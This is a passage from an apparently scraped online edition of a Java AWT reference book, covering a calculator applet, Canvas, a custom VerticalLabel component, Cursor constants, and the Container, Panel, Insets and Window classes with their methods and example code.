        Panel p = new Panel();
        p.setLayout (new GridLayout (4, 4));
        addButtons (p, "789/");
        addButtons (p, "456*");
        addButtons (p, "123-");
        addButtons (p, ".0=+");
        add ("Center", p);
    }
    public boolean action (Event e, Object o) {
        if (e.target instanceof Button) {
            String s = (String)o;
            if ("0123456789.".indexOf (s) != -1) { // isDigit
                if (firstDigit) {
                    firstDigit = false;
                    lab.setText (s);
                } else {
                    lab.setText (lab.getText() + s);
                }
            } else { // isOperator
                if (!firstDigit) {
                    compute (lab.getText());
                    firstDigit = true;
                }
                operator = s;
            }
            return true;
        }
        return false;
    }
    public void compute (String s) {
        float sValue = new Float (s).floatValue();
        char c = operator.charAt (0);
        switch (c) {
            case '=':   savedValue  = sValue;
                        break;
            case '+':   savedValue += sValue;
                        break;
            case '-':   savedValue -= sValue;
                        break;
            case '*':   savedValue *= sValue;
                        break;
            case '/':   savedValue /= sValue;
                        break;
        }
        lab.setText (String.valueOf(savedValue));
    }
}

Figure 5.4: Calculator applet

[Graphic: Figure 5-4]

Previous | Home | Next
Buttons | Book Index | Canvas
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.5 Canvas

Previous Chapter 5
Components 		Next

5.5 Canvas

A Canvas is a class just waiting to be subclassed. Through Canvas, you can create additional AWT objects that are not provided by the base classes. Canvas is also useful as a drawing area, particularly when additional components are on the screen. It is tempting to draw directly onto a Container, but this often isn't a good idea. Anything you draw might disappear underneath the components you add to the container. When you are drawing on a container, you are essentially drawing on the background. The container's layout manager doesn't know anything about what you have drawn and won't arrange components with your artwork in mind. To be safe, do your drawing onto a Canvas and place that Canvas in a Container.

Canvas Methods

Constructors

public Canvas () (New)

The constructor creates a new Canvas with no default size. If you place the canvas in a container, the container's layout manager sizes the canvas for you. If you aren't placing the canvas in a container, call setBounds() to specify the canvas's size.

Java 1.0 used the default constructor for Canvas; there was no explicit constructor.

Miscellaneous methods

public void paint (Graphics g) (New)

The default implementation of the paint() method colors the entire Canvas with the current background color. When you subclass this method, your paint() method needs to draw whatever should be shown on the canvas.

public synchronized void addNotify ()

The addNotify() method creates the Canvas peer. If you override this method, first call super.addNotify(), then add your customizations. Then you can do everything you need with the information about the newly created peer.

Canvas Events

The Canvas peer passes all events to you, which is why it's well suited to creating your own components.

Previous | Home | Next
A Simple Calculator | Book Index | Creating Your Own Component
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.6 Creating Your Own Component

Previous Chapter 5
Components 		Next

5.6 Creating Your Own Component

If you find that no AWT component satisfies your needs, you can create your own. This is usually done either by extending an existing component or by starting from scratch. When extending an existing component, you start with the base functionality of an existing object and add to it. The users will not see anything new or different about the object until they start to interact with it, since it is not a new component. For example, a TextField could be subclassed to convert all letters input to uppercase. On the other hand, if you create a new component from scratch, it will appear the same on all platforms (regardless of what the platform's native components look like), and you have to make sure the user can fairly easily figure out how to work with it. Example 5.3 shows how to create your own Component by creating a Label that displays vertically, as opposed to the standard Label Component that displays horizontally. The whole process is fairly easy.

The third possibility for creating your own components involves adding functionality to containers. This is fairly easy to do and can be useful if you are constantly grouping components together. For example, if you are always adding a TextField or Label to go with a Scrollbar to display the value, do it once, and call it something meaningful like LabeledScrollbarPanel. Then whenever you need it again, reuse your LabeledScrollbarPanel. Think about reusability whenever you can.

With Java 1.1, the colors for these new components should be set to color values consistent to the user's platform. This is done through color constants provided in the SystemColor class introduced in Chapter 2, Simple Graphics.

VerticalLabel

When you create new components, they must meet three requirements:

  • In Java 1.0, you must extend a subclass of Component, usually Canvas. In Java 1.1, you can extend Component itself, creating a lightweight component. In many cases, this alternative is more efficient.

  • You must provide a constructor for the new component so that you can create new instances of it; if you really don't need a constructor, you can use the default constructor that you inherit from Canvas or Component.

  • You must provide a way to draw the object on the screen by overriding the paint() method.

If initializing the component requires information about display characteristics (for example, you need to know the default Font), you must wait until the object is displayed on the screen before you initialize it. This is done by overriding the addNotify() method. First, call super.addNotify() to create the peer; you can now ask for platform-dependent information and initialize your component accordingly. Remember to override getPreferredSize() and getMinimumSize() (the Java 1.0 names are preferredSize() and minimumSize()) to return the proper dimensions for the new component, so that layout management works properly. There can be other support methods, depending upon the requirements of the object. For example, it is helpful, but not required, to provide a toString() or paramString() method.

Creating a new component sounds a lot harder than it is. Example 5.3 contains the source for a new component called VerticalLabel. It displays a label that reads from top to bottom, instead of from left to right, and can be configured to display its text right or left justified or centered. Figure 5.5 displays the new component VerticalLabel in action.

Example 5.3: Source for VerticalLabel Component

import java.awt.*;
public class VerticalLabel extends Canvas {
   public static final int LEFT = 0;
   public static final int CENTER = 1;
   public static final int RIGHT = 2;
   private String text;
   private int    vgap;
   private int    alignment;
   Dimension      mySize;
   int            textLength;
   char           chars[];
   // constructors
   public VerticalLabel () {
        this (null, 0, CENTER);
   }
   public VerticalLabel (String text) {
        this (text, 0, CENTER);
   }
   public VerticalLabel (String text, int vgap, int alignment) {
      this.text = text;
      this.vgap = vgap;
      this.alignment = alignment;
   }
   void init () {
      textLength = text.length();
      chars = new char[textLength];
      text.getChars (0, textLength, chars, 0);
      Font f = getFont();
      FontMetrics fm = getFontMetrics (f);
      mySize = new Dimension(0,0);
      mySize.height = (fm.getHeight() * textLength) + (vgap * 2);
      for (int i=0; i < textLength; i++) {
          mySize.width = Math.max (mySize.width, fm.charsWidth(chars, i, 1));
      }
   }
   public int getAlignment () {
      return alignment;
   }
   public void addNotify () {
       super.addNotify();
       init();  // Component must be visible for init to work
   }
   public void setText (String text)    {this.text = text; init();}
   public String getText ()             {return text; }
   public void setVgap (int vgap)       {this.vgap = vgap; init();}
   public int getVgap ()                {return vgap; }
   public Dimension preferredSize ()    {return mySize; }
   public Dimension minimumSize ()      {return mySize; }
   public void paint (Graphics g) {
      int x,y;
      int xPositions[];
      int yPositions[];
// Must redo this each time since font/screen area might change
// Use actual width for alignment
      Font f = getFont();
      FontMetrics fm = getFontMetrics (f);
      xPositions = new int[textLength];
      for (int i=0; i < textLength; i++) {
         if (alignment == RIGHT) {
            xPositions[i] = size().width - fm.charWidth (chars[i]);
         } else if (alignment == LEFT) {
            xPositions[i] = 0;
         } else {// CENTER
            xPositions[i] = (size().width - fm.charWidth (chars[i])) / 2;
         }
      }
      yPositions = new int[textLength];
      for (int i=0; i < textLength; i++) {
         yPositions[i] = (fm.getHeight() * (i+1)) + vgap;
      }
      for (int i = 0; i < textLength; i++) {
         x = xPositions[i];
         y = yPositions[i];
         g.drawChars (chars, i, 1, x, y);
      }
   }
   protected String paramString () {
      String str=",align=";
      switch (alignment) {
         case LEFT:    str += "left"; break;
         case CENTER:  str += "center"; break;
         case RIGHT:   str += "right"; break;
      }
      if (vgap!=0) str+= ",vgap=" + vgap;
      return super.paramString() + str + ",label=" + text;
   }
}

Figure 5.5: Using VerticalLabel

[Graphic: Figure 5-5]

The following code is a simple applet using the VerticalLabel. It creates five instances of VerticalLabel within a BorderLayout panel, with gaps (see Chapter 7, Layouts for more on BorderLayout). The top and bottom labels are justified to the left and right, respectively, to demonstrate justification.

import java.awt.*;
import java.applet.*;
public class vlabels extends Applet {
   public void init () {
        setLayout (new BorderLayout (10, 10));
        setFont (new Font ("TimesRoman", Font.BOLD, 12));
        add ("North",  new VerticalLabel ("One", 10, VerticalLabel.LEFT));
        add ("South",  new VerticalLabel ("Two", 10, VerticalLabel.RIGHT));
        add ("West",   new VerticalLabel ("Three"));
        add ("East",   new VerticalLabel ("Four"));
        add ("Center", new VerticalLabel ("Five"));
        resize (preferredSize());
   }
}

Lightweight VerticalLabel

The VerticalLabel in Example 5.3 works in both Java 1.0 and 1.1 but is relatively inefficient. When you create one, the system must create a Canvas and the peer of the Canvas. This work doesn't gain you anything; since this is a new component, it doesn't have to match the native appearance of any other component.

In Java 1.1, there's a way to avoid the overhead if you are creating a component that doesn't have to match a native object. This is called a lightweight component. To create one, you just subclass Component itself. To make a lightweight version of our VerticalLabel, we have to change only one line of code.

// Java 1.1 only
public class VerticalLabel extends Component

Everything else remains unchanged.

Previous | Home | Next
Canvas | Book Index | Cursor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.7 Cursor

Previous Chapter 5
Components 		Next

5.7 Cursor

Introduced in Java 1.1, the Cursor class provides the different cursors that can be associated with a Component. Previously, cursors could only be associated with a whole Frame. Now any component can use fancy cursors when the user is interacting with the system.

To change the cursor, a component calls its setCursor() method; its argument is a Cursor object, which is defined by this class.

NOTE:

There is still no way to assign a user-defined cursor to a Component. You are restricted to the 14 predefined cursors.

Cursor Constants

The following is a list of Cursor constants. The cursors corresponding to the constants are shown in Figure 5.6.

public final static int DEFAULT_CURSOR
public final static int CROSSHAIR_CURSOR
public final static int TEXT_CURSOR
public final static int WAIT_CURSOR
public final static int HAND_CURSOR
public final static int MOVE_CURSOR
public final static int N_RESIZE_CURSOR
public final static int S_RESIZE_CURSOR
public final static int E_RESIZE_CURSOR
public final static int W_RESIZE_CURSOR
public final static int NE_RESIZE_CURSOR
public final static int NW_RESIZE_CURSOR
public final static int SE_RESIZE_CURSOR
public final static int SW_RESIZE_CURSOR

Figure 5.6: Standard Java cursors

[Graphic: Figure 5-6]

Cursor Methods

public Cursor (int type) (New)

The sole constructor creates a Cursor of the specified type. type must be one of the Cursor class constants. If type is not one of the class constants, the constructor throws the run-time exception IllegalArgumentException.

This constructor exists primarily to support object serialization; you don't need to call it in your code. It is more efficient to call getPredefinedCursor(), discussed later in this section.

Miscellaneous methods

public int getType() (New)

The getType() method returns the cursor type. The value returned is one of the class constants.

static public Cursor getPredefinedCursor(int type) (New)

The getPredefinedCursor() method returns the predefined Cursor of the given type. If type is not one of the class constants, this method throws the run-time exception IllegalArgumentException. This method checks what Cursor objects already exist and gives you a reference to a preexisting Cursor if it can find one with the appropriate type. Otherwise, it creates a new Cursor for you. This is more efficient than calling the Cursor constructor whenever you need one.

static public Cursor getDefaultCursor() (New)

The getDefaultCursor() method returns the predefined Cursor for the DEFAULT_CURSOR type.

Previous | Home | Next
Creating Your Own Component | Book Index | Containers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] Containers

Previous Chapter 6 Next

6. Containers

Contents:
Container
Panel
Insets
Window
Frames
Dialogs
FileDialog

This chapter covers a special type of Component called Container. A Container is a subclass of Component that can contain other components, including other containers. Container allows you to create groupings of objects on the screen. This chapter covers the methods in the Container class and its subclasses: Panel, Window, Frame, Dialog, and FileDialog. It also covers the Insets class, which provides an internal border area for the Container classes.

Every container has a layout associated with it that controls how the container organizes the components in it. The layouts are described in Chapter 7, Layouts.

Java 1.1 introduces a special Container called ScrollPane. Because of the similarities between scrolling and ScrollPane, the new ScrollPane container is covered with the Scrollbar class in Chapter 11, Scrolling.

6.1 Container

Container is an abstract class that serves as a general purpose holder of other Component objects. The Container class holds the methods for grouping the components together, laying out the components inside it, and dealing with events occurring within it. Because Container is an abstract class, you never see a pure Container object; you only see subclasses that add specific behaviors to a generic container.

Container Methods

Constructors

The abstract Container class contains a single constructor to be called by its children. Prior to Java 1.1, the constructor was package private.

protected Container() (New)

The constructor for Container creates a new component without a native peer. Since you no longer have a native peer, you must rely on your container to provide a display area. This allows you to create containers that require fewer system resources. For example, if you are creating panels purely for layout management, you might consider creating a LightweightPanel class to let you assign a layout manager to a component group. Using LightweightPanel will speed things up since events do not have to propagate through the panel and you do not have to get a peer from the native environment. The following code creates the LightweightPanel class:

import java.awt.*;
public class LightweightPanel extends Container {
    LightweightPanel () {}
    LightweightPanel (LayoutManager lm) {
        setLayout(lm);
    }
}
Grouping

A Container holds a set of objects within itself. This set of methods describes how to examine and add components to the set.

public int getComponentCount () (New)
public int countComponents () (Deprecated)

The getComponentCount() method returns the number of components within the container at this level. getComponentCount() does not count components in any child Container (i.e., containers within the current container).

countComponents() is the Java 1.0 name for this method.

public Component getComponent (int position)

The getComponent() method returns the component at the specific position within it. If position is invalid, this method throws the run-time exception ArrayIndexOutOfBoundsException.

public Component[] getComponents ()

getComponents() returns an array of all the components held within the container. Since these are references to the actual objects on the screen, any changes made to the components returned will be reflected on the display.

public Component add (Component component, int position)

The add() method adds component to the container at position. If position is -1, add() inserts component as the last object within the container. What the container does with position depends upon the LayoutManager of the container. If position is invalid, the add() method throws the run-time exception IllegalArgumentException. If you try to add component's container to itself (anywhere in the containment tree), this method throws an IllegalArgumentException. In Java 1.1, if you try to add a Window to a container, add() throws the run-time exception IllegalArgumentException. If you try to add component to a container that already contains it, the container is removed and re-added, probably at a different position.

Assuming that nothing goes wrong, the parent of component is set to the container, and the container is invalidated. add() returns the component just added.

Calling this method generates a ContainerEvent with the id COMPONENT_ADDED.

public Component add (Component component)

The add() method adds component to the container as the last object within the container. This is done by calling the earlier version of add() with a position of -1. If you try to add component's container to itself (anywhere in the containment tree), this method throws the run-time exception IllegalArgumentException. In Java 1.1, if you try to add a Window to a container, add() throws the run-time exception IllegalArgumentException.

Calling this method generates a ContainerEvent with the id COMPONENT_ADDED.

public void add (Component component, Object constraints) (New)
public Component add (String name, Component component)

This next version of add() is necessary for layouts that require additional information in order to place components. The additional information is provided by the constraints parameter. This version of the add() method calls the addLayoutComponent() method of the LayoutManager. What the container does with constraints depends upon the actual LayoutManager. It can be used for naming containers within a CardLayout, specifying a screen area for BorderLayout, or providing a set of GridBagConstraints for a GridBagLayout. In the event that this add() is called and the current LayoutManager does not take advantage of constraints, component is added at the end with a position of -1. If you try to add component's container to itself (anywhere in the containment tree), this method throws the run-time exception IllegalArgumentException. In Java 1.1, if you try to add a Window to a container, add() throws the run-time exception IllegalArgumentException.

The add(String, Component) method was changed to add(component, object) in Java 1.1 to accommodate the LayoutManager2 interface (discussed in Chapter 7, Layouts) and to provide greater flexibility. In all cases, you can just flip the parameters to bring the code up to 1.1 specs. The string used as an identifier in Java 1.0 is just treated as a particular kind of constraint.

Calling this method generates a ContainerEvent with the id COMPONENT_ADDED.

public void add (Component component, Object constraints, int index) (New)

This final version of add() is necessary for layouts that require an index and need additional information to place components. The additional information is provided by the constraints parameter. This version of add() also calls the addLayoutComponent() method of the LayoutManager. component is added with a position of index. If you try to add component's container to itself (anywhere in the containment tree), this method throws the run-time exception IllegalArgumentException. In Java 1.1, if you try to add a Window to a Container, add() throws the run-time exception IllegalArgumentException.

Some layout managers ignore any index. For example, if you call add(aButton, BorderLayout.NORTH, 3) to add a Button to a BorderLayout panel, the Button appears in the north region of the layout, no matter what the index.

Calling this method generates a ContainerEvent with the id COMPONENT_ADDED.

protected void addImpl(Component comp, Object constraints, int index) (New)

The protected addImpl() method is the helper method that all the others call. It deals with synchronization and enforces all the restrictions on adding components to containers.

The addImpl() method tracks the container's components in an internal list. The index with which each component is added determines its position in the list. The lower the component's index, the higher it appears in the stacking order. In turn, the stacking order determines how components are displayed when sufficient space isn't available to display all of them. Components that are added without indices are placed at the end of the list (i.e., at the end of the stacking order) and therefore displayed behind other components. If all components are added without indices, the first component added to the container is first in the stacking order and therefore displayed in front.

You could override addImpl() to track when components are added to a container. However, the proper way to find out when components are added is to register a ContainerListener and watch for the COMPONENT_ADDED and the COMPONENT_REMOVED events.

public void remove (int index) (New)

The remove() method deletes the component at position index from the container. If index is invalid, the remove() method throws the run-time exception IllegalArgumentException. This method calls the removeLayoutComponent() method of the container's LayoutManager.

removeAll() generates a ContainerEvent with the id COMPONENT_REMOVED.

public void remove (Component component)

The remove() method deletes component from the container, if the container directly contains component. remove() does not look through nested containers trying to find component. This method calls the removeLayoutComponent() method of the container's LayoutManager.

When you call this method, it generates a ContainerEvent with the id COMPONENT_REMOVED.

public void removeAll ()

The removeAll() method removes all components from the container. This is done by looping through all the components, setting each component's parent to null, setting the container's reference to the component to null, and invalidating the container.

When you call this method, it generates a ContainerEvent with the id COMPONENT_REMOVED for each component removed.

public boolean isAncestorOf(Component component) (New)

The isAncestorOf() method checks to see if component is a parent (or grandparent or great grandparent) of this container. It could be used as a helper method for addImpl() but is not. If component is an ancestor of the container, isAncestorOf() returns true; otherwise, it returns false.

Layout and sizing

Every container has a LayoutManager. The LayoutManager is responsible for positioning the components inside the container. The Container methods listed here are used in sizing the objects within the container and specifying a layout.

public LayoutManager getLayout ()

The getLayout() method returns the container's current LayoutManager.

public void setLayout (LayoutManager manager)

The setLayout() method changes the container's LayoutManager to manager and invalidates the container. This causes the components contained inside to be repositioned based upon manager's rules. If manager is null, there is no layout manager, and you are responsible for controlling the size and position of all the components within the container yourself.

public Dimension getPreferredSize () (New)
public Dimension preferredSize () (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of the components within the container. The container determines its preferred size by calling the preferredLayoutSize() method of the current LayoutManager, which says how much space the layout manager needs to arrange the components. If you override this method, you are overriding the default preferred size.

preferredSize() is the Java 1.0 name for this method.

public Dimension getMinimumSize () (New)
public Dimension minimumSize () (Deprecated)

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of the components within the container. This container determines its minimum size by calling the minimumLayoutSize() method of the current LayoutManager, which computes the minimum amount of space the layout manager needs to arrange the components. It is possible for getMinimumSize() and getPreferredSize() to return the same dimensions. There is no guarantee that you will get this amount of space for the layout.

minimumSize() is the Java 1.0 name for this method.

public Dimension getMaximumSize () (New)

The getMaximumSize() method returns the maximum Dimension (width and height) for the size of the components within the container. This container determines its maximum size by calling the maximumLayoutSize() method of the current LayoutManager2, which computes the maximum amount of space the layout manager needs to arrange the components. If the layout manager is not an instance of LayoutManager2, this method calls the getMaximumSize() method of the Component, which returns Integer.MAX_VALUE for both dimensions. None of the java.awt layout managers use the concept of maximum size yet.

public float getAlignmentX () (New)

The getAlignmentX() method returns the alignment of the components within the container along the x axis. This container determines its alignment by calling the current LayoutManager2's getLayoutAlignmentX() method, which computes it based upon its children. The return value is between 0.0 and 1.0. Values nearer 0 indicate that the component should be placed closer to the left edge of the area available. Values nearer 1 indicate that the component should be placed closer to the right. The value 0.5 means the component should be centered. If the layout manager is not an instance of LayoutManager2, this method calls Component's getAlignmentX() method, which returns the constant Component.CENTER_ALIGNMENT. None of the java.awt layout managers use the concept of alignment yet.

public float getAlignmentY () (New)

The getAlignmentY() method returns the alignment of the components within the container along the y axis. This container determines its alignment by calling the current LayoutManager2's getLayoutAlignmentY() method, which computes it based upon its children. The return value is between 0.0 and 1.0. Values nearer 0 indicate that the component should be placed closer to the top of the area available. Values nearer 1 indicate that the component should be placed closer to the bottom. The value 0.5 means the component should be centered. If the layout manager is not an instance of LayoutManager2, this method calls Component's getAlignmentY() method, which returns the constant Component.CENTER_ALIGNMENT. None of the java.awt layout managers use the concept of alignment yet.

public void doLayout () (New)
public void layout () (Deprecated)

The doLayout() method of Container instructs the LayoutManager to lay out the container. This is done by calling the layoutContainer() method of the current LayoutManager.

layout()is the Java 1.0 name for this method.

public void validate ()

The validate() method sets the container's valid state to true and recursively validates all of its children. If a child is a Container, its children are in turn validated. Some components are not completely initialized until they are validated. For example, you cannot ask a Button for its display dimensions or position until it is validated.

protected void validateTree () (New)

The validateTree() method is a helper for validate() that does all the work.

public void invalidate () (New)

The invalidate() method invalidates the container and recursively invalidates the children. If the layout manager is an instance of LayoutManager2, its invalidateLayout() method is called to invalidate any cached values.

Event delivery

The event model for Java is described in Chapter 4, Events. These methods help in the handling of the various system events at the container level.

public void deliverEvent (Event e) (Deprecated)

The deliverEvent() method is called by the system when the Java 1.0 Event e happens. deliverEvent() tries to locate a component contained in the container that should receive it. If one is found, the x and y coordinates of e are translated for the new target, and Event e is delivered to this by calling its deliverEvent(). If getComponentAt() fails to find an appropriate target, the event is just posted to the container with postEvent().

public Component getComponentAt (int x, int y) (New)
public Component locate (int x, int y) (Deprecated)

The container's getComponentAt() method calls each component's contains() method to see if the x and y coordinates are within it. If they are, that component is returned. If the coordinates are not in any child component of this container, the container is returned. It is possible for getComponentAt() to return null if the x and y coordinates are not within the container. The method getComponentAt() can return another Container or a lightweight component.

locate()is the Java 1.0 name for this method.

public Component getComponentAt (Point p) (New)

This getComponentAt() method is identical to the previous method, with the exception that the location is passed as a single point, rather than as separate x and y coordinates.

Listeners and 1.1 event handling

With the 1.1 event model, you register listeners, which are told when events occur. Container events occur when a component is added or removed.

public synchronized void addContainerListener(ContainerListener listener) (New)

The addContainerListener() method registers listener as an object interested in receiving notifications when an ContainerEvent passes through the EventQueue with this Container as its target. The listener.componentAdded() or listener.componentRemoved() method is called when these events occur. Multiple listeners can be registered. The following code demonstrates how to use a ContainerListener to register action listeners for all buttons added to an applet. It is similar to the ButtonTest11 example in Button Events. The trick that makes this code work is the call to enableEvents() in init(). This method makes sure that container events are delivered in the absence of listeners. In this applet, we know there won't be any container listeners, so we must enable container events explicitly before adding any components.

// Java 1.1 only
import java.awt.*;
import java.applet.*;
import java.awt.event.*;
public class NewButtonTest11 extends Applet implements ActionListener {
    Button b;
    public void init () {
        enableEvents (AWTEvent.CONTAINER_EVENT_MASK);
        add (b = new Button ("One"));
        add (b = new Button ("Two"));
        add (b = new Button ("Three"));
        add (b = new Button ("Four"));
    }
    protected void processContainerEvent (ContainerEvent e) {
        if (e.getID() == ContainerEvent.COMPONENT_ADDED) {
            if (e.getChild() instanceof Button) {
                Button b = (Button)e.getChild();
                b.addActionListener (this);
            }
        }
    }
    public void actionPerformed (ActionEvent e) {
        System.out.println ("Selected: " + e.getActionCommand());
    }
}

public void removeContainerListener(ContainerListener listener) (New)

The removeContainerListener() method removes listener as an interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvents with this Container as its target. processEvent() then passes them along to any listeners for processing. When you subclass Container, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. There is no equivalent under the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processContainerEvent(ContainerEvent e) (New)

The processContainerEvent() method receives all ContainerEvents with this Container as its target. processContainerEvent() then passes them along to any listeners for processing. When you subclass Container, overriding the processContainerEvent() method allows you to process all container events yourself, before sending them to any listeners. There is no equivalent under the 1.0 event model.

If you override the processContainerEvent() method, remember to call super.processContainerEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Painting

The following methods are early vestiges of an approach to painting and printing. They are not responsible for anything that couldn't be done with a call to paintAll() or printAll(). However, they are available if you wish to call them.

public void paintComponents (Graphics g)

The paintComponents() method of Container paints the different components it contains. It calls each component's paintAll() method with a clipped graphics context g, which is eventually passed to paint().

public void printComponents (Graphics g)

The printComponents() method of Container prints the different components it contains. It calls each component's printAll() method with a clipped graphics context g, which is passed to print(), and eventually works its way to paint().

Since it is the container's responsibility to deal with painting lightweight peers, the paint() and print() methods are overridden in Java 1.1.

public void paint(Graphics g) (New)

The paint() method of Container paints the different lightweight components it contains.

public void print(Graphics g) (New)

The print() method of Container prints the different lightweight components it contains.

NOTE:

If you override paint() or print() in your containers (especially applets), call super.paint(g) or super.print(g), respectively, to make sure that lightweight components are rendered. This is a good practice even if you don't currently use any lightweight components; you don't want your code to break mysteriously if you add a lightweight component later.

Peers

The container is responsible for creating and destroying all the peers of the components within it.

public void addNotify ()

The addNotify() method of Container creates the peer of all the components within it. After addNotify() is called, the Container is invalid. It is useful for top-level containers to call this method explicitly before calling the method setVisible(true) to guarantee that the container is laid out before it is displayed.

public void removeNotify ()

The removeNotify() method destroys the peer of all the top-level objects contained within it. This in effect destroys the peers of all the components within the container.

Miscellaneous methods

protected String paramString ()

When you call the toString() method of a container, the default toString() method of Component is called. This in turn calls paramString() which builds up the string to display. At the Container level, paramString() appends the layout manager name, like layout=java.awt.BorderLayout, to the output.

public Insets getInsets () (New)
public Insets insets () (Deprecated)

The getInsets() method gets the container's current insets. An inset is the amount of space reserved for the container to use between its edge and the area actually available to hold components. For example, in a Frame, the inset for the top would be the space required for the title bar and menu bar. Insets exist for top, bottom, right, and left. When you override this method, you are providing an area within the container that is reserved for free space. If the container has insets, they would be the default. If not, the default values are all zeroes.

The following code shows how to override insets() to provide values other than the default. The top and bottom have 20 pixels of inset. The left and right have 50. Insets describes the Insets class in more detail.

public Insets insets () {            // getInsets() for Java 1.1
        return new Insets (20, 50, 20, 50);
}

To find out the current value, just call the method and look at the results. For instance, for a Frame the results could be the following in the format used by toString():

java.awt.Insets[top=42,left=4,right=4,bottom=4]

The 42 is the space required for the title and menu bar, while the 4 around the edges are for the window decorations. These results are platform specific and allow you to position items based upon the user's run-time environment.

When drawing directly onto the graphics context of a container with a large inset such as Frame, remember to work around the insets. If you do something like g.drawString("Hello World", 5, 5) onto a Frame, the user won't see the text. It will be under the title bar and menu bar.

insets() is the Java 1.0 name for this method.

public void list (PrintWriter output, int indentation) (New)
public void list (PrintStream output, int indentation)

The list() method is very helpful if you need to find out what is inside a container. It recursively calls itself for each container level of objects inside it, increasing the indentation at each level. The results are written to the PrintStream or PrintWriter output.

Previous | Home | Next
Cursor | Book Index | Panel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.2 Panel

Previous Chapter 6
Containers 		Next

6.2 Panel

The Panel class provides a generic container within an existing display area. It is the simplest of all the containers. When you load an applet into Netscape Navigator or an appletviewer, you have a Panel to work with at the highest level.

A Panel has no physical appearance. It is just a rectangular display area. The default LayoutManager of Panel is FlowLayout; FlowLayout is described in FlowLayout.

Panel Methods

Constructors

public Panel ()

The first constructor creates a Panel with a LayoutManager of FlowLayout.

public Panel (LayoutManager layout) (New)

This constructor allows you to set the initial LayoutManager of the new Panel to layout. If layout is null, there is no LayoutManager, and you must shape and position the components within the Panel yourself.

Miscellaneous methods

public void addNotify ()

The addNotify() method creates the Panel peer. If you override this method, first call super.addNotify(), then add your customizations for the new class. Then you can do everything you need with the information about the newly created peer.

Panel Events

In Java 1.0, a Panel peer generates all the events that are generated by the Component class; it does not generate events that are specific to a particular type of component. That is, it generates key events, mouse events, and focus events; it doesn't generate action events or list events. If an event happens within a child component of a Panel, the target of the event is the child component, not the Panel. There's one exception to this rule: if a component uses the LightweightPeer (new to Java 1.1), it cannot be the target of an event.

With Java 1.1, events are delivered to whatever listener is associated with a contained component. The fact that the component is within a Panel has no relevance.

Previous | Home | Next
Container | Book Index | Insets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.3 Insets

Previous Chapter 6
Containers 		Next

6.3 Insets

The Insets class provides a way to encapsulate the layout margins of the four different sides of a container. The class helps in laying out containers. The Container can retrieve their values through the getInsets() method, then analyze the settings to position components. The different inset values are measured in pixels. The space reserved by insets can still be used for drawing directly within paint(). Also, if the LayoutManager associated with the container does not look at the insets, the request will be completely ignored.

Insets Methods

Variables

There are four variables for insets, one for each border.

public int top

This variable contains the border width in pixels for the top of a container.

public int bottom

This variable contains the border width in pixels for the bottom of a container.

public int left

This variable contains the border width in pixels for the left edge of a container.

public int right

This variable contains the border width in pixels for the right edge of a container.

Constructors

public Insets (int top, int left, int bottom, int right)

The constructor creates an Insets object with top, left, bottom, and right being the size of the insets in pixels. If this object was the return object from the getInsets() method of a container, these values represent the size of a border inside that container.

Miscellaneous methods

public Object clone ()

The clone() method creates a clone of the Insets so the same Insets object can be associated with multiple containers.

public boolean equals(Object object) (New)

The equals() method defines equality for insets. Two Insets objects are equal if the four settings for the different values are equal.

public String toString ()

The toString() method of Insets returns the current settings. Using the new Insets (10, 20, 30, 40) constructor, the results would be:

java.awt.Insets[top=10,left=20,bottom=30,right=40]

Insets Example

The following source code demonstrates the use of insets within an applet's Panel. The applet displays a button that takes up the entire area of the Panel, less the insets, then draws a rectangle around that area. This is shown visually in Figure 6.1. The example demonstrates that if you add components to a container, the LayoutManager deals with the insets for you in positioning them. But if you are drawing directly to the Panel, you must look at the insets if you want to avoid the requested area within the container.

import java.awt.*;
import java.applet.*;
public class myInsets extends Applet {
    public Insets insets () {
        return new Insets (50, 50, 50, 50);
    }
    public void init () {
        setLayout (new BorderLayout ());
        add ("Center", new Button ("Insets"));
    }
    public void paint (Graphics g) {
        Insets i = insets();
        int width  = size().width - i.left - i.right;
        int height = size().height - i.top - i.bottom;
        g.drawRect (i.left-2, i.top-2, width+4, height+4);
        g.drawString ("Insets Example", 25, size().height - 25);
    }
}

Figure 6.1: Insets

[Graphic: Figure 6-1]

To change the applet's insets from the default, we override the insets() method to return a new Insets object, with the new values.

Previous | Home | Next
Panel | Book Index | Window
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.4 Window

Previous Chapter 6
Containers 		Next

6.4 Window

A Window is a top-level display area that exists outside the browser or applet area you are working in. It has no adornments, such as the borders, window title, or menu bar that a typical window manager might provide. A Frame is a subclass of Window that adds these parts (borders, window title). Normally you will work with the children of Window and not Window directly. However, you might use a Window to create your own pop-up menu or some other GUI component that requires its own window and isn't provided by AWT. This technique isn't as necessary in Java 1.1, which has a PopupMenu component.

The default LayoutManager for Window is BorderLayout, which is described in BorderLayout.

Window Methods

Constructors

public Window (Frame parent)

There is one public constructor for Window. It has one parameter, which specifies the parent of the Window. When the parent is minimized, so is the Window. In an application, you must therefore create a Frame before you can create a Window; this isn't much of an inconvenience since you usually need a Frame in which to build your user interface. In an applet, you often do not have access to a Frame to use as the parent, so you can pass null as the argument.

